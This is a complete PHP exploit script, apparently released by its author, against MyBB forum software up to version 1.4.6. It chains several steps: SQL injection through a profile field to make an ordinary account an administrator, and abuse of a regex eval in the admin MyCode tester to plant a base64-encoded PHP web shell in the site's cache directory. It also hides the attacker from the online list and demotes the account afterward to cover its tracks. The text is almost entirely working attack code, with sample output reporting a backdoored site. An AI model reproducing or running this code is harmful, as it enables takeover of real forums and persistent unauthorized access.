<?PHP
/*

Someone decided to contact mybb's staff informing about this vulnerability with the obvious result that this will not work anymore.
Fucking moron.

I'm releasing a non-finished version of the exploit. No help, PoC and with the necessity of --admindir flag.
Going to update it in the next days.
For historical reason, i'm leaving the original title, but note that is <= 1.4.6

Example:

paradox@d3b14n:~/Files/Exploit-Pocs/My_Exploit/Remote/Mybb$ php myBBtomilw0rm.php -u anybody -p qwerty -t http://localhost/web/mybb/Upload/ --admindir /admin/
[.] Initialing.
[+] Logged in.
[+] my_post_key variable found.
[+] Turned On mybb's invisible mode.
[+] Sql code injected. You're now admin.
[+] Admindir found (or --admindir is used): /admin/.
[+] Admin sid Found: 824e26b4221673a0f213c37f87b9ccd7
[+] Site correctly backdoored.
[+] Sql code injected. You're now user.
[+] Backdoor URI: http://localhost/web/mybb/Upload//cache/themes/themes.php
All Done. The:Paradox hopes you used this exploit exclusively for your own fun and you enjoyed it.
Have a nice day :P

For the curious people: http://mybboard.it/forum/thread-3623.html

*/

/*

Mybb <= 1.4.4 Remote Code Execution through Sql Injection Exploit

Discovered:  About 4 days before the exploit was coded.
Coded:  03-03-2009
Author:  The:Paradox
Release: Not yet.

No php.ini setting can stop us ! =O
A user (not email confirmed too) is needed.

Keep private or your keyboard will blew up.

*/

$mybb = new maibibi2;

class maibibi2
{

 function __construct ()
 {

  $this->user = $this->get_argv('-u');
  $this->pass = $this->get_argv('-p');
  $this->target = $this->get_argv('-t');
  $this->admindir = $this->get_argv('--admindir'); 
  $this->oa2u = $this->get_argv('--onlyadmin2user');

  $this->ip = '67.167.124.135';
  $this->ua = 'Mozilla 5.0';
  $this->bckdr = '/cache/themes/themes.php';

  if ($this->get_argv('--help') !== False || $this->get_argv('-h') !== False) $this->help();
  if (!$this->user || !$this->pass)      die ("You have to insert User/Password\r\nUse --help or -h for more informations.\r\n");
  if (!$this->target)        die ("You have to insert Target\r\nUse --help or -h for more informations.\r\n");
   
  $this->http();
  $this->init();

   
 }

 function help ()
 {

  die ("Under Construction\r\n");

 }

 function get_argv ($what)
 {
  global $argv;

  if (!$n = array_search($what, $argv)) return False;
  return $argv[$n+1]; 
 }

 function init ()
 {

  set_time_limit(0); // about 30 seconds left? Be serious.

  echo "[.] Initialing.\r\n";

   if (!$this->mybbuser = $this->ilovecookies ()) die ("Incorrect credentials.\r\n");

  echo "[+] Logged in.\r\n";

   if (!$this->mypostkey = $this->getmypostkey())  die ("My_Post_Key Not Found.\r\n");

  echo "[+] my_post_key variable found.\r\n";

   $this->hidemefromonlinelist();

  echo "[+] Turned On mybb's invisible mode.\r\n";

   $this->user2admin();

  echo "[+] Sql code injected. You're now admin.\r\n";

   if (!$this->admindir && !$this->admindir = $this->findadmindir()) die ("Unable to find admin Dir.\r\nWhatever it's possible your user is currently an administrator.\r\nIf you know admin dir path, you may use --admindir\r\n");

  echo "[+] Admindir found (or --admindir is used): {$this->admindir}.\r\n";  

   if (!$this->adminsid = $this->loginadmin())  die ("[-] Unable to login as admin.\r\nWhatever it's possible your user is currently an administrator.\r\n");
  
  echo "[+] Admin sid Found: {$this->adminsid}\r\n";  
   #$this->writabledirs();
   $this->rce ();  
   if (!$this->checkrce ()) die ("Unable to Execute PHP Code.\r\nWhatever it's possible your user is currently an administrator.\r\n");

  echo "[+] Site correctly backdoored.\r\n";

   $this->admin2user();

  echo "[+] Sql code injected. You're now user.\r\n";
  echo "[+] Backdoor URI: {$this->target}{$this->bckdr}\r\n";
  echo "All Done. The:Paradox hopes you used this exploit exclusively for your own fun and you enjoyed it.\r\nHave a nice day :P\r\n\r\n";

 } 

 function ilovecookies ()
 {
  $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua);
  $this->postdata = array ('username' => $this->user, 'password' => $this->pass, 'submit' => 'Login', 'action' => 'do_login');
  
  $rsp = $this->post ("{$this->target}/member.php");
  
  if (!preg_match_all ('~mybbuser=(.+?);~',$rsp,$res)) return False;

  return $res[1][0];
  

 }

 function getmypostkey ()
 {

  $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/member.php", 'Cookie' => "mybbuser={$this->mybbuser};");
  $rsp = $this->get ("{$this->target}/usercp.php?action=profile");

  if (!preg_match_all ('~name="my_post_key" value="(.+?)" />~',$rsp,$res)) return False;

  return $res[1][0];    

 }

 function hidemefromonlinelist()

 {
  $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/usercp.php?action=profile", 'Cookie' => "mybbuser={$this->mybbuser};");
  $this->postdata = array ('my_post_key' => $this->mypostkey, 'invisible' => '1', 'action' => 'do_options', 'regsubmit' => 'Update+Options');
  
  $rsp = $this->post ("{$this->target}/member.php");
  
 }

 function user2admin ()

 {

  $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/usercp.php?action=profile", 'Cookie' => "mybbuser={$this->mybbuser};");
  $this->postdata = array ('my_post_key'    => $this->mypostkey,
     'invisible'   => '1',
     'bday1'    => '',
     'bday2'    => '',
     'bday3'    => '',
     'website'   => 'http%3A%2F%2F',
     'profile_fields%5Bfid3%5D' => 'Undisclosed',
     'profile_fields%5Bfid2%5D' => 'Undisclosed',
     'profile_fields%5Bfid1%5D' => 'Undisclosed',
     'usertitle'   => '',
     'icq'    => '',
     'aim'    => '',
     'msn'    => '',
     'yahoo'    => '',
     'away'    => '0',
     'awayreason'   => '',
     'awayday'   => '',
     'awaymonth'   => '',
     'awayyear'   => '',
     'birthdayprivacy'  => "all', usergroup=4, email='pr3sident@whit3house.gov',regip='79.140.81.83', longregip='1334595923', lastip='', longlastip='",
     'action'   => 'do_profile',
     'regsubmit'   => '1');

  $rsp = $this->post ("{$this->target}/usercp.php");

 }
 
 function findadmindir ()
 {

  $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/usercp.php?action=profile", 'Cookie' => "mybbuser={$this->mybbuser};");
  $rsp = $this->get("{$this->target}/index.php");

  if (!preg_match_all ("~<!-- start: header_welcomeblock_member_admin -->
 &mdash; <a href=\"{$this->target}(.+?)/index.php\">~",$rsp,$res)) return False;

  return $res[1][0];    

 }

 function loginadmin ()

 {
  
  $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/usercp.php?action=profile", 'Cookie' => "mybbuser={$this->mybbuser};");
  $this->postdata = array ('username' => $this->user, 'password' => $this->pass, 'do' => 'login');

  $rsp = $this->post ("{$this->target}/{$this->admindir}/index.php");
  
  if (!preg_match_all ('~adminsid=(.+?);~',$rsp,$res)) return False;

  return $res[1][0];
 }

 function writabledirs ()
 {
  $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/{$this->admindir}/index.php?", 'Cookie' => "mybbuser={$this->mybbuser}; adminsid={$this->adminsid};");
  $this->get ("{$this->target}/{$this->admindir}/index.php?module=tools") ;

 }

 function rceOld ()

 {

 //edits inc/functions.php (original one)

 $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'X-Requested-With' => 'XMLHttpRequest', 'Referer' => "{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=edit&cid=1", 'Cookie' => "mybbuser={$this->mybbuser}; adminsid={$this->adminsid};");
 $this->postdata = array ('my_post_key'    => $this->mypostkey,
     'o_o'    => 'phpinfo();',
     'regex'    => '(.*%3F)#e%00',
     'replacement'   => 'die(eval(stripslashes($_REQUEST[\'o_o\'])));',
     'test_value'   => 'XoD');

 $rsp = $this->post ("{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=xmlhttp_test_mycode");

 }

 function rce ()

 {

 $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'X-Requested-With' => 'XMLHttpRequest', 'Referer' => "{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=edit&cid=1", 'Cookie' => "mybbuser={$this->mybbuser}; adminsid={$this->adminsid};");
 $this->postdata = array ('my_post_key'    => $this->mypostkey,
     'o_o'    => 'JGZwID0gZm9wZW4oJF9SRVFVRVNUWydmaWxlJ10sICdhJyk7DQpmd3JpdGUoJGZwLCAnPD9QSFAgaWYgKGlzc2V0KCRfUkVRVUVTVFt4XSkpIGV2YWwoc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFt4XSkpOyA/PicpOw0KZmNsb3NlKCRmcCk7',
     'regex'    => '(.*%3F)#e%00',
     'replacement'   => 'die(eval(base64_decode($_REQUEST[\'o_o\'])));',
     'test_value'   => 'XoD',
     'file'    => "../{$this->bckdr}");

 $rsp = $this->post ("{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=xmlhttp_test_mycode");

 }

 function admin2user ()
 
 {

  $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/usercp.php?action=profile", 'Cookie' => "mybbuser={$this->mybbuser};");
  $this->postdata = array ('my_post_key'    => $this->mypostkey,
     'invisible'   => '1',
     'bday1'    => '',
     'bday2'    => '',
     'bday3'    => '',
     'website'   => 'http%3A%2F%2F',
     'profile_fields%5Bfid3%5D' => 'Undisclosed',
     'profile_fields%5Bfid2%5D' => 'Undisclosed',
     'profile_fields%5Bfid1%5D' => 'Undisclosed',
     'usertitle'   => '',
     'icq'    => '',
     'aim'    => '',
     'msn'    => '',
     'yahoo'    => '',
     'away'    => '0',
     'awayreason'   => '',
     'awayday'   => '',
     'awaymonth'   => '',
     'awayyear'   => '',
     'birthdayprivacy'  => "all', usergroup=2, email='pr3sident.whit3house@gmail.com',regip='79.140.81.83', longregip='1334595923', lastip='', longlastip='",
     'action'   => 'do_profile',
     'regsubmit'   => '1');

  $rsp = $this->post ("{$this->target}/usercp.php");

 }

 function checkrce_old ()

 {
  $this->header = array ('client-ip' => $this->ip ,'Cookie' => 'x=print \'.:31337:.\'%3B;');
  $rsp = $this->get ("{$this->target}/{$this->admindir}/inc/functions.php?");

  if (!strstr($rsp,'.:31337:.')) return False;
  else    return True;

 }

 function checkrce ()

 {
  $this->header = array ('client-ip' => $this->ip ,'Cookie' => 'x=print \'.:31337:.\'%3B;');
  $rsp = $this->get ("{$this->target}/{$this->bckdr}");

  if (!strstr($rsp,'.:31337:.')) return False;
  else    return True;

 }

 function http ($port = 80, $header = array(), $post = array(), $timeout = 30)
 {

  $this->port = $port;
  $this->timeout = $timeout;
  $this->header = $header;
  $this->postdata = $post;
 }

 function get ($url)
 {
  $this->url = parse_url($url);
  $this->packet = array();

  $this->packet[] = "GET {$this->url['path']}?{$this->url['query']}{$this->url['fragment']} HTTP/1.1";
  $this->packet[] = "Host: {$this->url['host']}";

  foreach ($this->header as $header => $value)
  {
   $this->packet[] = "$header: $value";
  }
  
  $this->packet[] = "\r\n\r\n";
  $this->packet = implode ("\r\n",$this->packet);

  return $this->conn();
 }

 function post ($url)
 {
  $this->url = parse_url($url);

  $this->packet = array();
  $this->postcontent = '';

  $this->packet[] = "POST {$this->url['path']}?{$this->url['query']}{$this->url['fragment']} HTTP/1.1";
  $this->packet[] = "Host: {$this->url['host']}";

  foreach ($this->header as $header => $value)
  {
   $this->packet[] = "$header: $value";
  }
 
  foreach ($this->postdata as $post => $value)
  {
   if ($this->postcontent != '') $this->postcontent .= '&';
   $this->postcontent .= "$post=$value";
  }
 
  $this->packet[] = 'Content-Type: application/x-www-form-urlencoded';
  $this->packet[] = "Content-Length: ".strlen($this->postcontent)."\r\n";
  $this->packet[] = $this->postcontent;

  $this->packet = implode ("\r\n",$this->packet);

  return $this->conn();
 }

 function conn()
 {
  if (!isset($this->url['port'])) $this->url['port'] = $this->port;

  $sk = fsockopen ($this->url['host'], $this->url['port'], $eno, $estr, $this->timeout);

  if (!is_resource($sk)) return "[-] Fsockopen Failed! Error: ".$estr." [".$eno."]" ;

  else {

        fputs($sk, $this->packet);
    $rsp = "";
    
    while (!feof($sk))
     {
             $rsp .= fgets ($sk, 1024);
     }
   }

  fclose($sk);
  return $rsp;
 }

}

?>